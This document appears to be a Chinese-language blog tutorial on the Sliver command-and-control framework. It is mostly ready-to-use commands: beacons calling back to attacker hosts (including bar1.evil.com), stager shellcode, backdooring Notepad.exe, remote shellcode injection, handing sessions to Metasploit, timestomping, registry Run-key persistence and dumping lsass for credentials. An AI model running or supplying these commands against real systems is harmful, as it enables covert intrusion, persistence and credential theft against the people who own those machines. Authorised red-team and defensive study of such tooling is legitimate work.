1. 理论部分
(1)Sliver C2 Protocol
包括 mutual TLS(mTLS)、WireGuard、HTTP(S)、DNS,前两种是官方推荐的常用协议,HTTP 和 DNS 用于较为苛刻的内网环境,出网条件下进行使用的
(2)Listener
Sliver 有四种监听器,mtls、http、wg、dns(需要域名)
(3)Implant
i. Session - 持久连接,重启掉线(一般上线较少用)
我们常常可以由 Beacon spawn Session,看后者 Beacon
ii. Beacon - 异步通信,执行累计的任务,定时回连(同等与 CobaltStrike 的 beacon)
# mTLS
generate beacon --mtls 192.168.5.131[:port] --save /home/kali/Downloads [--os windows|linux|mac]
# Wireguard
generate beacon --wg 192.168.5.131 --os windows
# HTTP
generate beacon --http <ip> --save /home/kali/Downloads [--os windows|linux|mac]
# DNS
generate beacon --dns log.dark5.net --seconds 10 --jitter 0
# Beacon Spawn Session
interactive
iii. 多地址 多协议上线
Sliver 的内网通信方式等同于 CS,而外网增加了 mTLS 和 WireGuard(VPN) 协议,这两种通信方式都很隐蔽,sliver 还支持一个木马多协议轮播循环进行通信上线:
generate beacon --os linux --mtls example.com --http bar1.evil.com --dns baz.shop.com
这个通信协议顺序优先级从高到低依次为 mTLS-->WG-->HTTP(S)-->DNS
(4)Stager
分阶段执行器,从 C2 服务器上下载 Sliver Shellcode,再上线 C2。
Stager 的工作方式基于一个配置文件,其中记载了一个 Implant 的所有定义及配置信息,如下命令创建一个配置文件并监听
profiles new --http ip:port --format shellcode --arch amd64 esuika
http -l port
依托于配置文件创建分阶段监听器
# 二选一
stage-listener --url tcp://192.168.5.131:8443 --profile esuika
stage-listener --url http://192.168.5.131:8443 --profile esuika
生成上线——比如我这边生成 C 语言格式的 Stager 的 Shellcode
generate stager --lhost 192.168.5.131 --lport 8443 --arch amd64 --format C
#format支持的所有格式包括:bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby shvbapplication vbscript
我们也可以不依赖配置文件进行远程加载
generate --mtls ip:8889 --save ./ --skip-symbols -f shellcode --os windows
这样生成的 bin 文件开放在一个 http,再写个加载器远程加载也可以上线了
2. 部署与初始使用
(1)服务端部署(不要在Kali)
sudo curl -q -o- https://sliver.sh/install | sudo bash
wget https://github.com/BishopFox/sliver/releases/download/v1.5.16/sliver-server_linux
(2)Listener
我们可以通过 sliver 创建多个监听器,jobs 查看已创建的监听器
删除:jobs -k ID
(3)生成反连木马上线 beacon
generate beacon --mtls vpsip:8889 -S 5
这样就是生成一个回连时间五秒,连接到上面我们 ID 为 1 的监听器的 exe
sessions 和 beacons 命令分别查看已有的 session/beacon
(4)进入 beacon/session
使用 use 可以进入 beacon 或 session 并执行命令
当然为了方便管理,我们可以给 beacon 一个重命名,但对于 Sliver 而言,她的眼中还是 ID 的值
rename -n win11
(5)Beacon 派生 Session
我们常常利用 Beacon spawn Session,从而能够执行更多的功能!
interactive
如上图进入 Session 以后,我们可以执行 shell 获得一个系统的交互性 shell
但是,这个进程链是非常危险的!一定少用!看下图
然而通过 Sliver 执行命令,这个模块(代理程序)是起在对方系统内存中的,调用 Windows 系统的 CreateProcess/ShellExecute 等 API 来执行命令,基于内存执行相对安全。
(6)ShellCode 注入
首先需要创建一个服务的配置文件
profiles new --format shellcode --http 192.168.213.149:8003 profile1
然后就可以注入目标系统上的文件了
backdoor --profile heihei "D:\Notepad.exe"
当然,毒化了的文件很明显
这样子当被注入后的文件每次被运行,我们都会获得一个 Session
ps 看下进程,也可以看到上线的正是我们的 Notepad.exe!
(7)execute-Shellcode
这也是 Session 下的一个功能,我们可以加载落地到目标机的 Shellcode,或者进行远程的 Shellcode 加载(目前笔者不知道这个有什么吊用)
本地的 Shellcode 加载:
execute-shellcode C:\\Users\\Esuika\\Desktop\\payload64.bin
远程的 Shellcode 加载,-S 表示注入到当前进程,而不是另起进程,比较 OPSEC 一些
execute-shellcode -S -r http:ip:port/payload64.bin
(8)execute-assembly
这是一种更加 OPSEC 的做法
比如 execute,不通过 shell 创建 powershell 执行 cmd 命令
execute -o whoami
我们可以通过 execute-assembly 内存执行 .NET 程序(由于这个功能会阻塞通信,当运行耗时较大的 .NET 程序时,最好在 beacon 下运行,而不要在 Session)
execute-assembly evil.exe
(9)Socks5
socks5 是需要开启在 Session 中的
socks5 start -H ip -P 1080
还可以使用 Wireguard 客户端 https://www.wireguard.com/install
只是另一种通信方式,特定场景下可能有用
Sliver 同样可以进行端口转发,屌用没有
portfwd add -r ip:port
3. Sliver 联动 MetaSploit
(1)传 Shell 给 MSF
MSF 开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost ip
set lport 8999
exploit
Sliver 进入一个 session/beacon
msf -L ip -l 8999
(2)msf-inject
注入 msf payload 到特定进程执行
比如这边我们看进程看到有一个 notepad.exe 运行在 8968 的 pid 上
那么我们就可以注入 notepad 进程上线给 msf
msf-inject --pid 8968 -L 192.168.5.159 -l 8999
可以看到现在我们的上线进程是 8968
4. Armory
Armory 除了默认的安装包外,也支持我们自定义编写的BOF和.NET工具,是非常牛逼的一项功能
(1)更新包
armory update
(2)所有军械
armory
(3)快速安装与使用
armory install xxx
5. 多人运动
(1)两种服务端版本
我们前文在服务端的安装有两条命令,分别对应安装的两个客户端
多人运动中我们使用的是二进制文件 ./sliver-server_linux
(2)服务端配置
主要就是生成一个配置文件去进行一个导入
./sliver-server operator --name esuika --lhost IP --save esuika.cfg
server 默认会监听一个端口 31337,我们可以在 ~/.sliver/configs/server.json 自行修改
因为我的 vps 上下载了两款 Sliver,31337 被另一个占用了,我这里演示一下修改为 31338 的方式
除了上面这种方式的修改,我们还可以手动修改生成的配置文件
multiplayer -l 指定 31338 端口,我们的多人运动就开启成功了
(3)客户端导入
kali 安装 Sliver 客户端
proxychains4 wget https://github.com/BishopFox/sliver/releases/download/v1.5.16/sliver-client_linux
导入配置文件
./sliver-client import esuika.cfg
那么再次执行我们的客户端就可以看到连入到服务端了
多人运动就此实现
6. 后渗透命令
(1)系统信息
info
(2)Shell 权限
getprivs
(3)文件操作
列目录
ls
读取文件
cat
上传文件
upload
下载文件
download
移动 mv 删除 rm
修改文件的修改时间
chtimes d:\notepad.exe "2024-01-03 23:59:59" "2024-01-03 23:59:59"
(4)看网络连接
netstat
(5)看进程
ps
(6)执行文件/命令
execute -o xxx
(7)注册表维权
registry write -T string --hive HKCU "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" "C\\HISTORICAL_MILLENNIUM.exe"
重启计算机后,Sliver 也是会得到一个 beacon
(8)转储 lsass 进程
ps 定位 pid,然后 procdump 直接转储
procdump --pid 1164 --save lsass.DMP
Comments NOTHING